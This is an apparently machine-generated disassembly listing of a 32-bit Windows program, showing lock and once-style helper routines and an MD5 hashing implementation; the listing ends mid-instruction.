CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4333B5 mov esi, [edi] test esi, esi jz loc_4333B5 cmp esi, 0FFFFFFFFh jz short loc_433378 cmp dword ptr [esi], 3 jnz short loc_43335D lea eax, [esi+4] push eax call sub_40222F mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4333AF loc_433347: ; CODE XREF: ___:0043336Bj push esi mov dword ptr [edi], 0 call near ptr 77C2C21Bh nop add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43335D: ; CODE XREF: ___:00433333j push 1 push 0 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 1 jz short loc_433347 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433378: ; CODE XREF: ___:0043332Ej push offset dword_50E980 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43339F push offset dword_50E980 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43339F: ; CODE XREF: ___:00433386j push offset dword_50E980 mov ebx, 10h call near ptr 7C9010EDh nop loc_4333AF: ; CODE XREF: ___:00433345j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4333B5: ; CODE XREF: ___:0043331Bj ; ___:00433325j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333F0: ; CODE XREF: ___:004021C1j push esi mov esi, [esp+8] test esi, esi jz short loc_433451 mov eax, [esi] test eax, eax jz short loc_433451 cmp eax, 0FFFFFFFFh jnz short loc_433411 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433456 loc_433411: ; CODE XREF: ___:00433402j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jnz short loc_433433 loc_433423: ; CODE XREF: ___:00433431j push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jz short loc_433423 loc_433433: ; CODE XREF: ___:00433421j mov eax, [esi] cmp eax, 2 jnz short loc_43343E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43343E: ; CODE XREF: ___:00433438j cmp eax, 3 jnz short loc_433451 add esi, 4 push esi call sub_402225 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433451: ; CODE XREF: ___:004333F7j ; ___:004333FDj ... mov eax, 16h loc_433456: ; CODE XREF: ___:0043340Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433480: ; CODE XREF: ___:00401AA5j mov eax, [esp+4] push esi test eax, eax jz short loc_4334C1 mov esi, [eax] test esi, esi jz short loc_4334C1 cmp esi, 0FFFFFFFFh jnz short loc_43349B loc_433494: ; CODE XREF: ___:004334A7j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43349B: ; CODE XREF: ___:00433492j push 2 push 1 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_433494 dec eax jz short loc_4334BD dec eax jnz short loc_4334C1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4334BD: ; CODE XREF: ___:004334AAj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: ___:00433487j ; ___:0043348Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:00401933j push esi mov esi, [esp+8] test esi, esi jz short loc_433540 mov eax, [esi] test eax, eax jz short loc_433540 cmp eax, 0FFFFFFFFh jnz short loc_433511 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433545 loc_433511: ; CODE XREF: ___:00433502j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_43353C dec eax jz short loc_433535 dec eax jnz short loc_433540 add esi, 4 push esi call sub_40177B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433535: ; CODE XREF: ___:00433522j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43353C: ; CODE XREF: ___:0043351Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433540: ; CODE XREF: ___:004334F7j ; ___:004334FDj ... mov eax, 16h loc_433545: ; CODE XREF: ___:0043350Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433570: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43359C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_433597 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433597: ; CODE XREF: ___:0043358Ej xor eax, eax mov [esi+20h], ecx loc_43359C: ; CODE XREF: ___:00433582j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4335B0 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43363C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4335D4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4335D4: ; CODE XREF: sub_4335B0+1Bj push edi push esi push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_4335ED mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335ED: ; CODE XREF: sub_4335B0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4335FD mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335FD: ; CODE XREF: sub_4335B0+41j mov eax, [esi+4] push eax call sub_401640 ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0D441E890h, 0C085022Fh, 0E8560E74h, 0FFFCE181h, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43363C: ; CODE XREF: sub_4335B0+12j pop esi retn sub_4335B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433670 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433695 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_433695: ; CODE XREF: sub_433670+15j nop call near ptr 273068Fh cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4336BE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433670+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4336DB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336DB: ; CODE XREF: sub_433670+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_433670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433710 proc near ; CODE XREF: sub_401AA0j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_4337A0 cmp [ebx+0Ch], ebp jz short loc_43377C cmp [ebx+4], ebp jz short loc_43377C lea eax, [ebx+8] push eax call sub_402225 add esp, 4 test eax, eax jnz short loc_43377C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_43376F push edi loc_433743: ; CODE XREF: sub_433710+5Cj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43376A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_43376A: ; CODE XREF: sub_433710+3Ej cmp esi, ebp jnz short loc_433743 pop edi loc_43376F: ; CODE XREF: sub_433710+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_43377C: ; CODE XREF: sub_433710+13j ; sub_433710+18j ... mov eax, [ebx] push eax nop call near ptr 2730000h cmp [ebx+4], ebp jz short loc_433796 lea ecx, [ebx+8] push ecx call sub_40222F add esp, 4 loc_433796: ; CODE XREF: sub_433710+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_4337A0: ; CODE XREF: sub_433710+Aj pop ebp xor eax, eax pop ebx retn sub_433710 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4337E0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_50E3E8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_433804 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_433813 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_433804: ; CODE XREF: sub_4337E0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_433813 mov eax, ebx loc_433813: ; CODE XREF: sub_4337E0+1Aj ; sub_4337E0+2Fj push edi xor edi, edi test esi, esi jz short loc_433875 test eax, eax jz short loc_433862 mov ecx, [esi+4] test ecx, ecx jz short loc_433862 test ebx, ebx jz short loc_433862 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_43384D loc_433837: ; CODE XREF: sub_4337E0+65j cmp [ecx+8], esi jz short loc_433849 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_433837 jmp short loc_43384D ; --------------------------------------------------------------------------- loc_433849: ; CODE XREF: sub_4337E0+5Aj test ecx, ecx jnz short loc_433862 loc_43384D: ; CODE XREF: sub_4337E0+55j ; sub_4337E0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DC5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_433875 loc_433862: ; CODE XREF: sub_4337E0+3Cj ; sub_4337E0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 2750000h test eax, eax jnz short loc_433875 mov edi, 0Bh loc_433875: ; CODE XREF: sub_4337E0+38j ; sub_4337E0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_4337E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4338B0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27C0896h mov esi, eax call sub_436F5A sub_4338B0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 35E89051h, 56022ED2h, 0E890D88Bh dd 22ED3AAh, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_433900 proc near ; CODE XREF: sub_401A55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_433900 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433940 proc near ; CODE XREF: sub_401C12j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_43396B inc dword ptr [esi+14h] loc_43396B: ; CODE XREF: sub_433940+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_4339C9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_434740 lea ecx, [esi+18h] push ecx push esi call sub_433AB0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_4339C5 loc_4339A9: ; CODE XREF: sub_433940+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_433AB0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_4339A9 loc_4339C5: ; CODE XREF: sub_433940+67j xor eax, eax jmp short loc_4339CB ; --------------------------------------------------------------------------- loc_4339C9: ; CODE XREF: sub_433940+41j xor ebp, ebp loc_4339CB: ; CODE XREF: sub_433940+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_434740 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_433940 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433A20 proc near ; CODE XREF: sub_402158j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_434660 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_433A53 mov ecx, 78h loc_433A53: ; CODE XREF: sub_433A20+2Cj sub ecx, eax push ecx push offset aA ; "─" push edi call sub_401C12 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C12 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_434660 push 58h push 0 push edi call sub_434770 add esp, 30h pop edi pop esi add esp, 8 retn sub_433A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433AB0 proc near ; CODE XREF: sub_433940+58p ; sub_433940+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4346D0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 